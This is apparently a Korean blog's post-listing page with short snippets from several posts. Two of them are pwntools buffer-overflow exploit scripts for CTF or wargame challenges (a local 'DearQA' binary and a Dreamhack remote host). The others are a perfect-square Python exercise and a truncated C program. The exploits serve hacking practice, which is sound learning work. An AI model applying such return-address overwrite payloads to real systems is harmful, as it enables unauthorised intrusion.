호그와트 (367) 썸네일형 리스트형 완전 심쿵 ♡ from pwn import * context.binary = binary = "./DearQA.DearQA" static = ELF(binary) vuln_address = static.symbols.vuln vuln_addr = p64(vuln_address) payload = b'a'*32 + b'b'*8 + vuln_addr p = process('./DearQA.DearQA') p.sendline(payload) p.interactive() 논리적으로 답을 도출하기 m = int(input()) n = int(input()) x = 0 def issquare(n): temp = n ** 0.5 if int(temp) == temp: if temp ** 2 == n: return True return False for i in range(m-1, n+1): if issquare(i) == True: x += i if x > 0: print(x) else: print(-1) 드림핵 basic from pwn import * r = remote("host1.dreamhack.games", 15232) payload = b'a'*0x80 + b"AAAA" + p32(0x80485b9) r.sendline(payload) r.interactive() 직관에 부합하면서 직관을 벗어나는 답 #include #include #include int main(void) { while(1){ char str[10] = {}; int b[10] = {}; int s=0; scanf("%s", str); if (str[0] == "#") exit(0); int panda = strlen(str); for (int i = 0; i 무언의 레나튜토리얼 분석 05 무언의 레나튜토리얼 분석 05 무언의 레나튜토리얼 분석 04 무언의 레나튜토리얼 분석 03 이전 1 ··· 28 29 30 31 32 33 34 ··· 46 다음